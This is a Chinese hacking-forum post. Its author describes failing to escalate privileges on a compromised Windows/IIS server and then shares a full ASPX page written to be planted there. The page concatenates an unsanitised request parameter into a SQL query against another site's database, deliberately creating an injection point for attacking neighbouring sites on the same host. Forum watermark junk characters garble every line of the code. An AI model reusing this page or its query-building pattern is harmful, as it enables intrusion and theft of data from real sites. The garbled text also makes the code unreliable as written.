找回密码
 立即注册
查看: 2280|回复: 0
打印 上一主题 下一主题

利用aspx构造注射来跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-20 21:32:01 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。& J% ~  \0 X: u
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。% m9 z8 _% w% I$ P2 Z4 X- F5 R' O
代码量不多,自己写个拉倒了。烦死了。8 w& ~) O9 ]- O+ b

( t" S' M3 K" C' ^0 g. I! P8 H* u) k
% Q" \; q+ ~: B% o& C1 K1 C/ U<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4 r3 E) J1 }" a: [<html xmlns="http://www.w3.org/1999/xhtml">
0 o, k: [1 e- G, x7 s1 k# ]8 {<head runat="server">
/ M9 e! z2 e- M. y" M5 l8 T. }    <title>暗影aspx构造注射专用页面</title>
, d7 [! i% y5 i" \9 I) S/ O</head>
; h& C, @9 F7 k( e; M+ E- r<body>
& [3 y( h  M, c5 r# v$ o9 X' g' X0 k    <form id="form1" runat="server">
: X, I, v$ V/ N, p2 w( u6 j% S, M    <div>/ j7 @7 I: h  H& K1 K& W
     <script language="c#" runat="server">
5 l3 a7 y$ l# U) H            9 m! U, k# E  a. y
         void page_init(object sender, EventArgs e)8 |: p" @+ I; ^) h
         {) ?& g  h9 U9 G$ W
            
- l1 Q; y9 n& A2 S             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();* W; \$ i9 A7 D; C9 v
             2 X2 a5 r* P* r; ?% e2 J) O
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
' ]; Z; D4 z# v             conn.Open();
: q/ @9 f' X. i3 g6 N             ; r8 ^4 V: y! G  f; q# x; h: \
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1! ^* K$ z) k, o
             - g, _/ `* L2 H- s
             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
1 u: J6 v9 H1 U; u# a( K  W) T1 v+ O             int x = command.ExecuteNonQuery();- b8 Y3 j( Z+ _4 u$ I  W# z: y7 A
             Response.Write(i+"\n");4 U( r7 u' B. G, k
             Response.Write(x);) S' `1 n8 t, f& _4 h. J
             conn.Close();1 d- _% Z$ ]8 F* P$ }. F$ A2 ^
         }
8 v7 |: P4 K# R5 a7 S1 S2 |     
/ [( _; b+ {* ?9 F" B* C' A  </script>" Y1 H& S3 V/ x) R1 C4 `4 z1 W( x9 B
    </div>
+ \+ g+ E0 b8 h' d9 a! |9 N& w; x    </form>4 P5 K. Q  ~) r+ R1 }6 k# r7 u7 K
</body>1 w* F( }  l4 O
</html>; b6 E. }% ^  p; O5 V# y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表